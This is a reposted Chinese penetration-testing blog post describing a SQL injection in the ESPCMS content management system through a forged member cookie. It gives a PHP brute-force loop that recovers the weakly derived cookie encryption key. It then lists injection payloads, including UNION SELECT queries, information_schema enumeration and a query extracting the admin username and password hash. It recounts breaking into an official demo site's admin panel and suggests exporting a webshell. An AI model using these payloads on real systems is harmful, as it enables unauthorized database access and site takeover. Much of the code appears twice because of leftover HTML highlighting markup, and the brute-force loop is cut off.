Espcms 暴力注入

NNN4cy 渗透测试 2018-05-25

2121 0 0

代码分析
看了下espcms的代码,发现了个比较有意思的注入

interface\membermain.php 第 33行

<span class="line">1</span>

1	<span class="line">1</span>

<span class="line">$db_sql = <span class="string">"SELECT * FROM $db_table1 LEFT JOIN $db_table2 ON a.userid = b.userid  WHERE a.userid = $this-&gt;ec_member_username_id "</span>;</span>

1	<span class="line">$db_sql = <span class="string">"SELECT * FROM $db_table1 LEFT JOIN $db_table2 ON a.userid = b.userid WHERE a.userid = $this->ec_member_username_id "</span>;</span>

难道是 int 注入 ,继续跟进 public\class_connector.php 第 415 行

<span class="line">1</span>
<span class="line">2</span>
<span class="line">3</span>
<span class="line">4</span>
<span class="line">5</span>
<span class="line">6</span>
<span class="line">7</span>
<span class="line">8</span>

1

2

3

4

5

6

7

8

<span class="line"><span class="function"><span class="keyword">function</span> <span class="title">member_purview</span><span class="params">($userrank = false, $url = null, $upurl = false)</span> </span>{</span>
<span class="line">........</span>
<span class="line">$user_info = explode(<span class="string">'|'</span>, <span class="keyword">$this</span>-&gt;fun-&gt;eccode(<span class="keyword">$this</span>-&gt;fun-&gt;accept(<span class="string">'ecisp_member_info'</span>, <span class="string">'C'</span>), <span class="string">'DECODE'</span>, db_pscode));</span>
<span class="line"><span class="keyword">list</span>(<span class="keyword">$this</span>-&gt;ec_member_username_id, <span class="keyword">$this</span>-&gt;ec_member_alias, <span class="keyword">$this</span>-&gt;ec_member_integral, <span class="keyword">$this</span>-&gt;ec_member_mcid, <span class="keyword">$this</span>-&gt;ec_member_email, <span class="keyword">$this</span>-&gt;ec_member_lastip, <span class="keyword">$this</span>-&gt;ec_member_ipadd, <span class="keyword">$this</span>-&gt;ec_member_useragent, <span class="keyword">$this</span>-&gt;ec_member_adminclassurl) = $user_info;</span>

<span class="line">.......</span>

<span class="line">}</span>

function member_purview($userrank = false, $url = null, $upurl = false) {

........

$user_info = explode('|', $this->fun->eccode($this->fun->accept('ecisp_member_info', 'C'), 'DECODE', db_pscode));

list($this->ec_member_username_id, $this->ec_member_alias, $this->ec_member_integral, $this->ec_member_mcid, $this->ec_member_email, $this->ec_member_lastip, $this->ec_member_ipadd, $this->ec_member_useragent, $this->ec_member_adminclassurl) = $user_info;

.......

}

哈哈直接从cookie的 ecisp_member_info中取出来,不过这里有个加密函数,
public\class_function.php 第179 行

<span class="line">1</span>
<span class="line">2</span>
<span class="line">3</span>
<span class="line">4</span>
<span class="line">5</span>
<span class="line">6</span>
<span class="line">7</span>
<span class="line">8</span>
<span class="line">9</span>
<span class="line">10</span>
<span class="line">11</span>
<span class="line">12</span>
<span class="line">13</span>
<span class="line">14</span>
<span class="line">15</span>
<span class="line">16</span>
<span class="line">17</span>
<span class="line">18</span>
<span class="line">19</span>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

<span class="line"><span class="function"><span class="keyword">function</span> <span class="title">eccode</span><span class="params">($string, $operation = <span class="string">'DECODE'</span>, $key = <span class="string">'@LFK24s224%@safS3s%1f%'</span>)</span> </span>{</span>
<span class="line">		$result = <span class="string">''</span>;</span>
<span class="line">		<span class="keyword">if</span> ($operation == <span class="string">'ENCODE'</span>) {</span>
<span class="line">			<span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; strlen($string); $i++) {</span>
<span class="line">				$char = substr($string, $i, <span class="number">1</span>);</span>
<span class="line">				$keychar = substr($key, ($i % strlen($key)) - <span class="number">1</span>, <span class="number">1</span>);</span>
<span class="line">				$char = chr(ord($char) + ord($keychar));</span>
<span class="line">				$result.=$char;</span>
<span class="line">			}</span>
<span class="line">			$result = base64_encode($result);</span>
<span class="line">			$result = str_replace(<span class="keyword">array</span>(<span class="string">'+'</span>, <span class="string">'/'</span>, <span class="string">'='</span>), <span class="keyword">array</span>(<span class="string">'-'</span>, <span class="string">'_'</span>, <span class="string">''</span>), $result);</span>
<span class="line">		} <span class="keyword">elseif</span> ($operation == <span class="string">'DECODE'</span>) {</span>
<span class="line">			$data = str_replace(<span class="keyword">array</span>(<span class="string">'-'</span>, <span class="string">'_'</span>), <span class="keyword">array</span>(<span class="string">'+'</span>, <span class="string">'/'</span>), $string);</span>
<span class="line">			$mod4 = strlen($data) % <span class="number">4</span>;</span>
<span class="line">			<span class="keyword">if</span> ($mod4) {</span>
<span class="line">				$data .= substr(<span class="string">'===='</span>, $mod4);</span>
<span class="line">			}</span>
<span class="line">			$string = base64_decode($data);</span>
<span class="line">			<span class="keyword">for</span> ($i = <span class="number">0</span>; $i &lt; strlen($string); $i++) { 				$char = substr($string, $i, <span class="number">1</span>); 				$keychar = substr($key, ($i % strlen($key)) - <span class="number">1</span>, <span class="number">1</span>); 				$char = chr(ord($char) - ord($keychar)); 				$result.=$char; 			} 		} 		<span class="keyword">return</span> $result; 	}</span>

function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') {

$result = '';

if ($operation == 'ENCODE') {

for ($i = 0; $i < strlen($string); $i++) {

$char = substr($string, $i, 1);

$keychar = substr($key, ($i % strlen($key)) - 1, 1);

$char = chr(ord($char) + ord($keychar));

$result.=$char;

}

$result = base64_encode($result);

$result = str_replace(array('+', '/', '='), array('-', '_', ''), $result);

} elseif ($operation == 'DECODE') {

$data = str_replace(array('-', '_'), array('+', '/'), $string);

$mod4 = strlen($data) % 4;

if ($mod4) {

$data .= substr('====', $mod4);

}

$string = base64_decode($data);

for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; }

额很明显这种函数式可逆的,只需要找出key即系统中的db_pscode 继续跟进 db_pscode 生成 install\fun_center.php 第 238 行

$pscode

<span class="line">1</span>
<span class="line">2</span>
<span class="line">3</span>
<span class="line">4</span>
<span class="line">5</span>

1

2

3

4

5

<span class="line">额 貌似没搞头了 在围观下 cookies中 ecisp_member_info的生成吧 <span class="class"><span class="keyword">interface</span>\<span class="title">member</span>.<span class="title">php</span> 第 110 行</span></span>

<span class="line">``` php $this-&gt;fun-&gt;setcookie('ecisp_member_info', $this-&gt;fun-&gt;eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]</span>
<span class="line">|$memberread[mcid]|$memberread[email]|$memberread[lastip]|$ipadd|<span class="string">" . md5($_SERVER['HTTP_USER_AGENT']) . '|' . md5(admin_ClassURL), 'ENCODE', db_pscode));</span></span>

额貌似没搞头了在围观下 cookies中 ecisp_member_info的生成吧 interface\member.php 第 110 行

``` php $this->fun->setcookie('ecisp_member_info', $this->fun->eccode("$memberread[userid]|$memberread[alias]|$memberread[integral]

用户id 名称邮箱等等信息,这些对于攻击者都是可知的,那不是可以重举99到999 的key来匹配这些信息,计算出key之后,即可以操作cookie,传入任意sql语句(具体代码见附件中)

<span class="line">1</span>
<span class="line">2</span>
<span class="line">3</span>
<span class="line">4</span>
<span class="line">5</span>
<span class="line">6</span>
<span class="line">7</span>
<span class="line">8</span>
<span class="line">9</span>
<span class="line">10</span>
<span class="line">11</span>
<span class="line">12</span>
<span class="line">13</span>
<span class="line">14</span>
<span class="line">15</span>
<span class="line">16</span>
<span class="line">17</span>
<span class="line">18</span>

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

<span class="line"><span class="keyword">for</span>($i=<span class="number">99</span>;$i</span>
<span class="line">	$key=md5(md5($i));</span>

<span class="line">	msg(<span class="string">"Test $i :"</span>.$key);</span>
<span class="line">	$admin_ClassURL=md5(<span class="string">"http://"</span>.$argv[<span class="number">1</span>].<span class="string">"/"</span>);</span>
<span class="line">	$real_cookie_info=eccode($temp,<span class="string">'DECODE'</span>,$key);</span>
<span class="line">	<span class="keyword">if</span>($real_cookie_info){</span>

<span class="line">		<span class="keyword">if</span>(strpos($real_cookie_info,$argv[<span class="number">2</span>])  &amp;amp;&amp;amp; strpos($real_cookie_info,$argv[<span class="number">3</span>]) &amp;amp;&amp;amp; strpos($real_cookie_info,$admin_ClassURL)){</span>

<span class="line">			msg(<span class="string">"The Key  Is :"</span>.$key);</span>
<span class="line">			<span class="keyword">break</span>;</span>

<span class="line">		}</span>

<span class="line">	}</span>

<span class="line">}</span>

for($i=99;$i

$key=md5(md5($i));

msg("Test $i :".$key);

$admin_ClassURL=md5("http://".$argv[1]."/");

$real_cookie_info=eccode($temp,'DECODE',$key);

if($real_cookie_info){

if(strpos($real_cookie_info,$argv[2]) &amp;&amp; strpos($real_cookie_info,$argv[3]) &amp;&amp; strpos($real_cookie_info,$admin_ClassURL)){

msg("The Key Is :".$key);

break;

}

}

利用演示

例如官方演示站 ,几百次之后得到key= 95e87f86a2ffde5110e93c2823634927

先实验下 select user()
Member_info 的明文为

and 1

<span class="line">Eccode 之后 (程序见附件)</span>
<span class="line">[![](/uploads/2013/03/8-300x94.jpg "8")](/uploads/2013/03/8.jpg)</span>
<span class="line">编辑cookies 传入注入语句</span>
<span class="line">[![](/uploads/2013/03/91-300x254.jpg "9")](/uploads/2013/03/91.jpg)</span>

<span class="line">刷新下会员中心 http://xxx.cn/index.php?ac=membermain&amp;amp;at=editinfo</span>
<span class="line">[![](/uploads/2013/03/6-300x118.jpg "6")](/uploads/2013/03/6.jpg)</span>
<span class="line">数据出来出来鸟,测试可行 查询数据库</span>

<span class="line">``` php</span>
<span class="line">$sql_exp=" 1 and  1=2  union select  1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28";</span>

Eccode 之后 (程序见附件)

[![](/uploads/2013/03/8-300x94.jpg "8")](/uploads/2013/03/8.jpg)

编辑cookies 传入注入语句

[![](/uploads/2013/03/91-300x254.jpg "9")](/uploads/2013/03/91.jpg)

刷新下会员中心 http://xxx.cn/index.php?ac=membermain&amp;at=editinfo

[![](/uploads/2013/03/6-300x118.jpg "6")](/uploads/2013/03/6.jpg)

数据出来出来鸟,测试可行查询数据库

``` php

$sql_exp=" 1 and 1=2 union select 1,2,3,database(),5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28";

得到当前数据库为 espcmsdemo,查询表前缀

<span class="line">select  table_name  from  information_schema.tables  where  table_schema=0x657370636D7364656D6F   limit  1</span>

1	<span class="line">select table_name from information_schema.tables where table_schema=0x657370636D7364656D6F limit 1</span>

前缀到手
查管理员用户名密码

select concat(username,CHAR(0x7c),password) from espdemo_admin_member limit 1

得到管理员用户名|密码,解密md5 之后杀进后台

连接之留txt 走人

附件下载

点我下载
Tips :如果找不到后台可以试试注入导出shell,爆绝对路径地址:爆绝对路径:interface/3gwap_search.php.

作者：Yaseng

原文链接：http://yaseng.org/espcms-violence-sql-injection.html

本文由来源 Yaseng，由 NNN4cy 整理编辑！

渗透测试